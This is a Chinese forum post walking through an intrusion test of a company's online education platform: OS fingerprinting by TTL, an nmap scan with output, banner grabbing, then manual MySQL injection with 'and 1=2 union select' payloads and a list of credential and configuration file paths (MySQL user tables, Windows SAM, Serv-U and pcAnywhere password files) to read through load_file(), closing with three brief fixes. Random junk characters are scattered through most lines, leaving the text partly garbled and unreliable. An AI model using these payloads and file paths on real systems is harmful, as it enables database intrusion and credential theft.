题记：; Q& Z" B2 _/ H( U& P
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
+ D Y) M, E* L: V, I: j# F, u+ P# G第一步：获取需要的信息
; ~7 t* J2 e- Y% N由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。3 H. i2 ~" L+ t. |
注：以下为保护特用XXX代替敏感信息9 _' ]( y* |. Z2 [; W- f
顺手先PING了一下他们的域名：0 p3 a* {. J" D1 T" W
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）/ Z) f% i1 i. W* z2 c) O
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
$ I+ r5 f$ P" m: A1 d8 z顺便了解一下TTL，学好基础知识才能一路顺风：
% e; a& a3 d xTTL：(Time To Live ) 生存时间
% c X- v. s7 ?* `- a指定数据包被路由器丢弃之前允许通过的网段数量。: O) R6 f% {- M
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。6 P5 n! `/ n; h: y* X. D
使用PING时涉及到的 ICMP 报文类型
6 S$ L& ]+ I& i7 ^5 v4 i一个为ICMP请求回显（ICMP Echo Request）
+ c( T- R/ G4 l一个为ICMP回显应答（ICMP Echo Reply）" q+ ~& j- ^5 K \# ^
TTL 字段值可以帮助我们识别操作系统类型。
9 |- y7 Y7 w: Z, nUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255# U) [( p1 F {1 @) j* \: a1 O+ a C- q
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
2 t$ w5 S; S5 `6 }微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1288 T; ~: x0 t2 ^1 }: K9 ]+ s: M
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
- M; d# t1 s! m0 z当然，返回的TTL值是相同的2 ^! z3 @& F$ e/ e- @' ?. h
但有些情况下有所特殊
/ j. A# n$ M; T) ALINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64' z0 Q- ^: \, O c% D" a
FreeBSD 4.1, 4.0, 3.4;
# z5 d0 H3 {7 a9 s; E6 ?2 A; FSun Solaris 2.5.1, 2.6, 2.7, 2.8;
7 T! q, C+ V, u9 O" w; |OpenBSD 2.6, 2.7,
; V# b1 ? G: W5 m- ?- \& L& ONetBSD3 d# I J( T, e$ K; x9 {8 D
HP UX 10.200 |( _+ L* {0 N8 l8 o
ICMP 回显应答的 TTL 字段值为 255
]7 J2 l# n4 F" }! o, m8 j5 h- KWindows 95/98/98SE& D6 u6 t0 E5 I7 J! B; a
Windows ME0 V+ k0 P. |8 _: l
ICMP 回显应答的 TTL 字段值为 32+ f' k- d l8 T9 ~% O& y4 ~
Windows NT4 WRKS
8 z+ E/ K- _5 P! t; Y- H; M, |Windows NT4 Server
1 |9 {! P$ K1 @0 m: hWindows 20000 P+ v2 Z/ a. E! a( \; d1 E
Windows XP( F, f5 S9 T" R% {) z: ^+ ]
ICMP 回显应答的 TTL 字段值为 128
q; T; \( u* J$ b) e* c6 r这样，我们就可以通过这种方法来辨别操作系统
) E* c! j5 J% V# MTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的2553 K$ ]; k- R/ {% g' Q% q. C" P" ?& m
用NMAP扫描一下：
* Y5 n% C! {: K" |- {* enmap -sT -O XXX.XXX.XXX.XXX+ H6 ]9 q9 y, u7 `& m2 X/ z# b
如果没有装WinPcap则会弹出提示：
# Y7 p: M' j+ `3 XWARNING: Could not import all necessary WinPcap functions. You may need to upgr# r8 g! D* a5 ^3 E) }$ m& {
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
1 d; m# ^* T3 ?! D4 p4 X8 n9 n# J" C, N) mode — Nmap may not function completely2 P/ O% r+ x. m: b9 k+ G( w
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
& |- c$ s+ b& y2 Y1 c# Band iphlpapi.dll be installed. You seem to be missing one or both of these. Win) S, |1 F) p" o8 v m- h, [' z
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an! e1 m) [ d/ c. l7 o
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v+ e7 h1 t* h/ x( o. s3 h2 H/ s- z
ersions, you may be able to take iphlpapi.dll from another system and place it i
4 \% y' ^( G7 E* Z' x9 D9 O1 vn your system32 dir (e.g. c:\windows\system32).! k: i; n0 x$ \; x* e$ H2 M
QUITTING!: z2 A5 \' L9 q1 m
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe6 f$ I1 X9 E7 d* f
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
" [( R# f! e: [Interesting ports on XXX.XXX.XXX.XXX:
. D# G! [9 X1 d% k9 Z1 ?Not shown: 986 closed ports' `' J3 f4 C1 k9 ^( b
PORT STATE SERVICE$ e: ^* r: k# k4 F8 _
21/tcp open ftp
; G! b0 `) ^6 f1 P+ G& g: Y22/tcp open ssh( c ~2 z/ U! n" w0 K* |
23/tcp open telnet
- S5 {' u( V! n7 Q% X. g2 z: S80/tcp open http/ q$ |" w* ?) I+ ~/ ^
111/tcp open rpcbind
) P3 X" F# |* q1 e3 k* [135/tcp filtered msrpc) J, s A: u0 U. s
139/tcp filtered netbios-ssn
$ b& C; o y* ~: m3 s! l, L( W- k4 i445/tcp filtered microsoft-ds
0 F( I+ }. ^2 [4 y513/tcp open login- j. r2 v3 q2 L2 p$ T1 G. S/ H
514/tcp open shell
% Y1 h4 {' O8 i+ v6 R. A593/tcp filtered http-rpc-epmap' R, _% i* p0 C `. S
1720/tcp filtered H.323/Q.931
$ }" z* C' z/ T* q3306/tcp open mysql3 [$ @$ D& v* L7 H* j
4444/tcp filtered krb524+ W! _9 z/ F: J: X
Device type: WAP7 g9 o8 y8 n& R+ l
Running: Linux 2.4.X& r+ s% K( [' L' r+ s' r9 s, c2 b
OS details: DD-WRT (Linux 2.4.35s); Z6 Y0 ^! K5 |, V2 z
Network Distance: 13 hops
[ L; a: ?( P看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：4 B" m/ A8 h r0 \% u7 {: x
login as:8 k3 W1 l- |: r( h) c
Telnet23端口也是开着的，用telnet 命令链接一下：% q. T& N8 K: Y7 I; O' Z8 N1 v3 O
telnet XXX.XXX.XXX.XXX
7 _$ O% W3 U8 i6 W! ^提示：
1 C, J( Z0 b' `+ d2 mRed Hat Enterprise Linux Server release 5.2 (Tikanga)
?- c! E' ]5 `' YKernel 2.6.18-92.el5PAE on an i686; k W4 W$ u/ `8 l: o1 y; L) y
login:% g: f" i$ L+ D1 p1 C
获取HTTP头信息：$ m4 i: u1 m% }" f, k
在本地执行如下PHP代码% n/ l, c7 ~+ @5 X& z! E9 R: p t
<?php
$ c9 J- }' F8 o. h3 h/ n$ b( ^. N$url = ‘XXX.XXX.XXX.XXX’;
8 C& Z+ P" G5 ]print_r(get_headers($url));0 m9 O0 b0 N2 ^# Q' r0 G, n9 o- n
print_r(get_headers($url, 1));
5 O, S9 t3 u: V3 u: e?>, M+ {. p7 N- B8 w& w0 Q4 E9 P
将以上代码保存为PHP文件，执行：( v R! @* |9 y2 e" ^
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )& e: x4 q4 o/ @8 l( {. a R
现在可以得出结论：
* \0 q9 g+ v0 u系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" w% n6 G/ G6 t, V内核版本：Kernel 2.6.18-92.el5PAE on an i686
; }. L2 a d1 {: h7 qWEB服务器版本：nginx/0.7.61, Z9 p, {5 ^: |+ L& z
第二步，开始测试寻找漏洞! U% P7 {5 d2 i5 B# z2 G F
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。% F& `. w, I* ^3 T) `& ^- U
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的 P( f. ]& X! B; b, l( P% c
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试. x0 n, n0 N+ @& n! s
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常4 s' w$ ?; b1 [
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
) L3 p+ g5 G$ W2 C- I- |/ t! I/ ^1 w9 m$ l恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续6 V( e g/ c# h5 g q% b- r
3、手工注入：
" ^2 A: c2 p# \1 n& J1 y9 J! u) j' m注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
! ^3 B' W5 q$ b3.1 猜测当前表字段数
; w4 h9 p* I8 T7 ^0 Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10" @4 d$ B/ [. Y
此处猜测有个简单的算法，都是有技巧的吗，呵呵
3 q0 y3 T/ m0 F4 p/ E3 T. ~2 f算法简单如下：7 [% i s; v; ?2 j# g
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；, H! t4 W0 e. {( V7 J* x+ Z& p
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
6 t% V' b: _5 [需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
1 A/ Q6 G% B- U" }0 g! B% n以此来判断，是否过界，配合取中算法猜出字段数。
: Y/ d# r9 \' K: T举例：2 r. s$ l8 a, y$ r0 \
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常, D2 Y) F4 M4 g, I0 q. F0 z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误5 m7 }* G; @6 ?8 k0 w' o8 ^
此时3则为我们要找的字段数。
: c; r+ p, Q, {4 \" q3.2 配合union联合查询字段在页面所位置! O! S; Q- \# O) r7 Z
我们已经知道了字段数为3，此时则可以做如下操作：! @! O% j3 z8 N$ D a
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
6 B) S% q* ~5 | ]3 U/ s; W. r: F4 f1 }
这样就可以测试到哪些字段在页面上有所显示了，如图：
+ U. ~: z/ y) L* g" S* U3 `0 {: c4 d! D
3.3 查敏感信息
8 w! q. U, O7 k5 E6 d* q: M这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
2 P0 U% }5 [9 y% h( i1 O+ Ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()! W. E/ C+ g, X3 g: v
3.3.1 先查数据库用户、数据库名，以备后用，如图：
6 L; ^; K A. u9 _- R, ~4 p
2 h* y) o8 ]% _8 t. Q. Z6 r得到数据库用户为root、数据库名为DBxx；8 v; p8 G+ `# n$ H. p7 F4 f
3.3.2 查配置文件% e+ Q$ F0 T. ]/ B/ W& s5 {
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。7 p) j) w9 h( D! x' X7 {
查看文件有一定的条件限制：1 ` {# t1 P0 e- @
欲读取文件必须在服务器上
/ z( `3 k1 }2 ^. A( u" W必须指定文件完整的路径
" m7 L, w/ n( ]必须有权限读取并且文件必须完全可读
$ s- e. l8 v' r+ }; R欲读取文件必须小于 max_allowed_packet
/ y& n* x( K( z5 |) n/ E* NMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
2 ]2 f+ J# x8 a1 s2 N常用的一些：0 r( s# B) t' \- [) i7 j
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
$ k0 B+ u# f$ V7 [ O! o5 B! r/usr/local/apache2/conf/httpd.conf
& Q* Y' l c% v3 w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置& m1 F3 {! Z/ X, l4 c( b# ?) `, a/ Y
/usr/local/app/php5/lib/php.ini //PHP相关设置: K- A2 C9 G3 |" y1 M
/etc/sysconfig/iptables //从中得到防火墙规则策略4 c* e' E% h4 u
/etc/httpd/conf/httpd.conf // apache配置文件 _% y* i4 I2 u+ y
/etc/rsyncd.conf //同步程序配置文件% x" E( S* P: t5 H% c" C
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.& u$ n/ T: c0 Y
/etc/my.cnf //mysql的配置文件4 |- f7 q1 p! x/ H7 ]: O. J
/etc/redhat-release //系统版本
& G7 i# g0 \, C6 Z4 K/etc/issue
' O' y: @! b/ N/etc/issue.net
& B; v3 E" f; [c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码) N5 k% V- B) H! E0 [+ B; V
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码! A; E: X( n6 l" J( J/ c
c:\Program Files\Serv-U\ServUDaemon.ini) M0 l0 Y; p, S9 s( l5 e0 ]9 T
c:\windows\my.ini //MYSQL配置文件7 n3 s- `5 E/ D
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件4 c+ o& q# X( \7 A& i
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
, R, i" R+ L8 cc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
* P( L* r4 ^8 v$ X- \7 Ec:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) Z9 j2 ~! E6 n( g# P" H' `+ P9 w
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
" E5 D: y7 n0 [+ j8 \9 S/ YC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件8 p$ ?7 C* q. c1 x! c
//存储了pcAnywhere的登陆密码6 J% A0 @) R1 K6 d4 H" m' J
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。' ]! ~7 ~) r* ?8 ~6 N$ A
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。( t7 _6 l. T+ B7 h" I
最后：防范措施
, h" p* B; x$ B1、修复PHP注入漏洞；
$ B5 H; t+ [: J, E% H. B9 ~2、Mysql使用普通权限的用户；6 C* l; O, Q% a& H/ ?& O! g
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对